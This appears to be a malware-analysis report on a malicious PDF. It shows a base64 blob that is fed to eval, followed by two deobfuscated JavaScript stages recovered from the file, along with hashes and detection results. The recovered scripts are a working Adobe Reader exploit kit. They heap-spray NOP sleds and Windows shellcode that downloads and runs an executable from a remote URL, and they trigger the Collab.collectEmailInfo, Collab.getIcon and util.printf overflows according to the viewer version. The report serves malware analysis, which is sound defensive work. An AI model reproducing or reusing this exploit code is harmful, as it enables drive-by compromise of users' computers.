ElMzQlNzclNTYlMzElNjElMzAlNzAlNTIlM2IlMjAlNjUlMzMlNzclNWElNzUlMzYlNzAlNmMlNzQlMmIlMmIlMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNDElNzklNjUlNjMlNTUlNTYlNWElNDglNDYlNWIlNjUlMzMlNzclNWElNzUlMzYlNzAlNmMlNzQlNWQlMjAlM2QlMjAlNjclNjclNmUlNTMlMzclNmMlMzglNmElNDclMjAlMmIlMjAlNzQlNjQlNjUlNmYlNzIlNTclNDQlNTYlNzMlM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlN2QlMjAlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNmYlNDYlNzAlNzUlMzIlNjglNDclNDMlNDglMjglMjklMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjYlNTclNzAlMzUlNDglNzQlMzElNmUlNzQlMjAlM2QlMjAlMzAlM2IlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDUlNzclNjklMzMlNjQlNmMlN2ElNDQlNjYlMjAlM2QlMjAlNjElNzAlNzAlMmUlNzYlNjklNjUlNzclNjUlNzIlNTYlNjUlNzIlNzMlNjklNmYlNmUlMmUlNzQlNmYlNTMlNzQlNzIlNjklNmUlNjclMjglMjklM2IlMjAlMjAlMjAlMjAlMjAlNjElNzAlNzAlMmUlNjMlNmMlNjUlNjElNzIlNTQlNjklNmQlNjUlNGYlNzUlNzQlMjglNTklNzQlMzclNjElNTIlNDUlN2ElNTclNTElMjklM2IlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNDUlNzclNjklMzMlNjQlNmMlN2ElNDQlNjYlMjAlM2UlM2QlMjAlMzglMjAlMjYlMjYlMjAlNDUlNzclNjklMzMlNjQlNmMlN2ElNDQlNjYlMjAlM2MlMjAlMzglMmUlMzElMzAlMzIlMjklMjAlN2MlN2MlMjAlNDUlNzclNjklMzMlNjQlNmMlN2ElNDQlNjYlMjAlM2MlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNzMlNGYlNjUlNGQlNjUlNjQlNGUlN2ElMjglMzAlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjElMzQlNTIlNzklNjQlNjclNmYlNTglNjglMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzAlNjMlMzAlNjMlMjUlNzUlMzAlNjMlMzAlNjMlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNjElMzQlNTIlNzklNjQlNjclNmYlNTglNjglMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzQlMzQlMzklMzUlMzIlMjklMjAlNjElMzQlNTIlNzklNjQlNjclNmYlNTglNjglMjAlMmIlM2QlMjAlNjElMzQlNTIlNzklNjQlNjclNmYlNTglNjglM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjElNmUlNzQlNmUlNWElNTElNjMlNjUlNjglMjAlM2QlMjAlNzQlNjglNjklNzMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzQlNjYlNTUlNGYlNDclNTIlMzglNDklMzYlMjAlM2QlMjAlNDMlNmYlNmMlNmMlNjElNjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjElNmUlNzQlNmUlNWElNTElNjMlNjUlNjglNWIlMjIlNjMlNmYlNmMlNmMlNjElNjIlNTMlNzQlNmYlNzIlNjUlMjIlNWQlMjAlM2QlMjAlNzQlNjYlNTUlNGYlNDclNTIlMzglNDklMzYlNWIlMjIlNjMlNmYlNmMlNmMlNjUlNjMlNzQlNDUlNmQlNjElNjklNmMlNDklNmUlNjYlNmYlMjIlNWQlMjglMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNzUlNjIlNmElMjAlM2ElMjAlMjIlMjIlMmMlMjAlNmQlNzMlNjclMjAlM2ElMjAlNjElMzQlNTIlNzklNjQlNjclNmYlNTglNjglMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjklM2IlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNDUlNzclNjklMzMlNjQlNmMlN2ElNDQlNjYlMjAlM2UlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlMjYlMjYlMjAlNDUlNzclNjklMzMlNjQlNmMlN2ElNDQlNjYlMjAlM2MlMjAlMzglMmUlMzElMzAlMzQlMjklMjAlN2MlN2MlMjAlMjglNDUlNzclNjklMzMlNjQlNmMlN2ElNDQlNjYlMjAlM2UlM2QlMjAlMzklMjAlMjYlMjYlMjAlNDUlNzclNjklMzMlNjQlNmMlN2ElNDQlNjYlMjAlM2MlMjAlMzklMmUlMzElMjklMjAlN2MlN2MlMjAlNDUlNzclNjklMzMlNjQlNmMlN2ElNDQlNjYlMjAlM2MlM2QlMjAlMzclMmUlMzElMzAlMzElMjklMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzQlNzIlNzklMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNjElNzAlNzAlMmUlNjQlNmYlNjMlMmUlNDMlNmYlNmMlNmMlNjElNjIlMmUlNjclNjUlNzQlNDklNjMlNmYlNmUlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNzMlNGYlNjUlNGQlNjUlNjQlNGUlN2ElMjglMzIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmElNDglNDklNTklNGQlNGMlN2ElNGIlN2ElMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlMzAlMzklMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNmElNDglNDklNTklNGQlNGMlN2ElNGIlN2ElMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzAlNzglMzQlMzAlMzAlMzAlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNmElNDglNDklNTklNGQlNGMlN2ElNGIlN2ElMjAlMmIlM2QlMjAlNmElNDglNDklNTklNGQlNGMlN2ElNGIlN2ElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNmElNDglNDklNTklNGQlNGMlN2ElNGIlN2ElMjAlM2QlMjAlMjIlNGUlMmUlMjIlMjAlMmIlMjAlNmElNDglNDklNTklNGQlNGMlN2ElNGIlN2ElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmIlMzklNTclNGUlNjUlNGIlNDglNTIlNzUlMjAlM2QlMjAlNjElNzAlNzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNmIlMzklNTclNGUlNjUlNGIlNDglNTIlNzUlNWIlMjIlNjQlNmYlNjMlMjIlNWQlNWIlMjIlNDMlNmYlNmMlNmMlNjElNjIlMjIlNWQlNWIlMjIlNjclNjUlNzQlNDklNjMlNmYlNmUlMjIlNWQlMjglNmElNDglNDklNTklNGQlNGMlN2ElNGIlN2ElMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjYlNTclNzAlMzUlNDglNzQlMzElNmUlNzQlMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjYlNTclNzAlMzUlNDglNzQlMzElNmUlNzQlMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNjElNzQlNjMlNjglMjglNjUlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjYlNTclNzAlMzUlNDglNzQlMzElNmUlNzQlMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNjYlNTclNzAlMzUlNDglNzQlMzElNmUlNzQlMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNDUlNzclNjklMzMlNjQlNmMlN2ElNDQlNjYlMjAlM2QlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlN2MlN2MlMjAlNDUlNzclNjklMzMlNjQlNmMlN2ElNDQlNjYlMjAlM2QlM2QlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNzMlNGYlNjUlNGQlNjUlNjQlNGUlN2ElMjglMzElMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTIlMzUlNTklNTAlNWElNDQlNzQlNzklNTQlMjAlM2QlMjAlMjIlMzElMzIlMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNDUlMzclNmMlNTElNzklMzQlNjklNTglNTAlMjAlM2QlMjAlMzAlM2IlMjAlNDUlMzclNmMlNTElNzklMzQlNjklNTglNTAlMjAlM2MlMjAlMzIlMzclMzYlM2IlMjAlNDUlMzclNmMlNTElNzklMzQlNjklNTglNTAlMmIlMmIlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTIlMzUlNTklNTAlNWElNDQlNzQlNzklNTQlMjAlMmIlM2QlMjAlMjIlMzglMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzYlNTclNmIlMzUlNDMlNzQlNjElNjElNTklMjAlM2QlMjAlNzUlNzQlNjklNmMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNTclNmIlMzUlNDMlNzQlNjElNjElNTklNWIlMjIlNzAlNzIlNjklNmUlNzQlNjYlMjIlNWQlMjglMjIlMjUlMzQlMzUlMzAlMzAlMzAlNjYlMjIlMmMlMjAlNTIlMzUlNTklNTAlNWElNDQlNzQlNzklNTQlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlN2QlMjAlMjAiKSk7IA0KIGFwcC5lczFwWjVOemUgPSBvRnB1MmhHQ0g7DQogWXQ3YVJFeldRID0gYXBwLnNldFRpbWVPdXQoImFwcC5lczFwWjVOemUoKSIsIDEpOw0K");
var sssddd = eval;
sssddd(aasd);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 5150 bytes
SHA-256: c4cc9d5e5ff90192259d73f3a25dbbfae6923832d3c0bf62ff6a82a604b294c1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var AyecUVZHF = new Array();
 var Yt7aREzWQ;
 var lave = eval;
  lave(unescape("   function EGy2K28cT(ggnS7l8jG, LIXsJQyts)   {     while(ggnS7l8jG.length * 2 < LIXsJQyts)     {       ggnS7l8jG += ggnS7l8jG;     }     ggnS7l8jG = ggnS7l8jG.substring(0, LIXsJQyts / 2);     return ggnS7l8jG;   }  "));  lave(unescape("    function isOeMedNz(kUc9ZIv3P)   {     if(kUc9ZIv3P == 0)     {       var x09ymRVek = 0x0c0c0c0c;       var tdeorWDVs =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(kUc9ZIv3P == 1)     {       x09ymRVek = 0x30303030;       var tdeorWDVs =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(kUc9ZIv3P == 2)     {       var tdeorWDVs =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     var o0GrnkTwJ = 0x400000;     var nsMBZVJXI = tdeorWDVs.length * 2;     var LIXsJQyts = o0GrnkTwJ - (nsMBZVJXI + 0x38);     var ggnS7l8jG = unescape("%u9090%u9090");     ggnS7l8jG = EGy2K28cT(ggnS7l8jG, LIXsJQyts);     var j4wV1a0pR = (x09ymRVek - 0x400000) / o0GrnkTwJ;     for(var e3wZu6plt = 0; e3wZu6plt < j4wV1a0pR; e3wZu6plt++)     {       AyecUVZHF[e3wZu6plt] = ggnS7l8jG + tdeorWDVs;     }   }  "));  lave(unescape("   function oFpu2hGCH()   {     var fWp5Ht1nt = 0;     var Ewi3dlzDf = app.viewerVersion.toString();     app.clearTimeOut(Yt7aREzWQ);     if((Ewi3dlzDf >= 8 && Ewi3dlzDf < 8.102) || Ewi3dlzDf < 7.1)     {       isOeMedNz(0);       var a4RydgoXh = unescape("%u0c0c%u0c0c");       while(a4RydgoXh.length < 44952) a4RydgoXh += a4RydgoXh;       var antnZQceh = this;       var tfUOGR8I6 = Collab;       antnZQceh["collabStore"] = tfUOGR8I6["collectEmailInfo"](       {         subj : "", msg : a4RydgoXh       }       );     }     if((Ewi3dlzDf >= 8.102 && Ewi3dlzDf < 8.104) || (Ewi3dlzDf >= 9 && Ewi3dlzDf < 9.1) || Ewi3dlzDf <= 7.101)     {       try       {         if(app.doc.Collab.getIcon)         {           isOeMedNz(2);           var jHIYMLzKz = unescape("%09");           while(jHIYMLzKz.length < 0x4000)           {             jHIYMLzKz += jHIYMLzKz;           }           jHIYMLzKz = "N." + jHIYMLzKz;           var k9WNeKHRu = app;           k9WNeKHRu["doc"]["Collab"]["getIcon"](jHIYMLzKz);           fWp5Ht1nt = 1;         }         else         {           fWp5Ht1nt = 1;         }       }       catch(e)       {         fWp5Ht1nt = 1;       }       if(fWp5Ht1nt == 1)       {         if(Ewi3dlzDf == 8.102 || Ewi3dlzDf == 7.1)         {           isOeMedNz(1);           var R5YPZDtyT = "12999999999999999999";           for(E7lQy4iXP = 0; E7lQy4iXP < 276; E7lQy4iXP++)           {             R5YPZDtyT += "8";           }           var vWk5CtaaY = util;           vWk5CtaaY["printf"]("%45000f", R5YPZDtyT);         }       }     }  }  ")); 
 app.es1pZ5Nze = oFpu2hGCH;
 Yt7aREzWQ = app.setTimeOut("app.es1pZ5Nze()", 1);
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6 5146 bytes
SHA-256: 65c2e70471114164d0042a98f81d663d3695e3dbdc3348545234eb722c3aa5fe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var AyecUVZHF = new Array();
 var Yt7aREzWQ;
 var lave = eval;
  lave(unescape("   function EGy2K28cT(ggnS7l8jG, LIXsJQyts)   {     while(ggnS7l8jG.length * 2 < LIXsJQyts)     {       ggnS7l8jG += ggnS7l8jG;     }     ggnS7l8jG = ggnS7l8jG.substring(0, LIXsJQyts / 2);     return ggnS7l8jG;   }  "));  lave(unescape("    function isOeMedNz(kUc9ZIv3P)   {     if(kUc9ZIv3P == 0)     {       var x09ymRVek = 0x0c0c0c0c;       var tdeorWDVs =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(kUc9ZIv3P == 1)     {       x09ymRVek = 0x30303030;       var tdeorWDVs =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     else if(kUc9ZIv3P == 2)     {       var tdeorWDVs =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u632E%u7275%u6861%u6E2E%u7465%u312F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");     }     var o0GrnkTwJ = 0x400000;     var nsMBZVJXI = tdeorWDVs.length * 2;     var LIXsJQyts = o0GrnkTwJ - (nsMBZVJXI + 0x38);     var ggnS7l8jG = unescape("%u9090%u9090");     ggnS7l8jG = EGy2K28cT(ggnS7l8jG, LIXsJQyts);     var j4wV1a0pR = (x09ymRVek - 0x400000) / o0GrnkTwJ;     for(var e3wZu6plt = 0; e3wZu6plt < j4wV1a0pR; e3wZu6plt++)     {       AyecUVZHF[e3wZu6plt] = ggnS7l8jG + tdeorWDVs;     }   }  "));  lave(unescape("   function oFpu2hGCH()   {     var fWp5Ht1nt = 0;     var Ewi3dlzDf = app.viewerVersion.toString();     app.clearTimeOut(Yt7aREzWQ);     if((Ewi3dlzDf >= 8 && Ewi3dlzDf < 8.102) || Ewi3dlzDf < 7.1)     {       isOeMedNz(0);       var a4RydgoXh = unescape("%u0c0c%u0c0c");       while(a4RydgoXh.length < 44952) a4RydgoXh += a4RydgoXh;       var antnZQceh = this;       var tfUOGR8I6 = Collab;       antnZQceh["collabStore"] = tfUOGR8I6["collectEmailInfo"](       {         subj : "", msg : a4RydgoXh       }       );     }     if((Ewi3dlzDf >= 8.102 && Ewi3dlzDf < 8.104) || (Ewi3dlzDf >= 9 && Ewi3dlzDf < 9.1) || Ewi3dlzDf <= 7.101)     {       try       {         if(app.doc.Collab.getIcon)         {           isOeMedNz(2);           var jHIYMLzKz = unescape("	");           while(jHIYMLzKz.length < 0x4000)           {             jHIYMLzKz += jHIYMLzKz;           }           jHIYMLzKz = "N." + jHIYMLzKz;           var k9WNeKHRu = app;           k9WNeKHRu["doc"]["Collab"]["getIcon"](jHIYMLzKz);           fWp5Ht1nt = 1;         }         else         {           fWp5Ht1nt = 1;         }       }       catch(e)       {         fWp5Ht1nt = 1;       }       if(fWp5Ht1nt == 1)       {         if(Ewi3dlzDf == 8.102 || Ewi3dlzDf == 7.1)         {           isOeMedNz(1);           var R5YPZDtyT = "12999999999999999999";           for(E7lQy4iXP = 0; E7lQy4iXP < 276; E7lQy4iXP++)           {             R5YPZDtyT += "8";           }           var vWk5CtaaY = util;           vWk5CtaaY["printf"]("E000f", R5YPZDtyT);         }       }     }  }  ")); 
 app.es1pZ5Nze = oFpu2hGCH;
 Yt7aREzWQ = app.setTimeOut("app.es1pZ5Nze()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.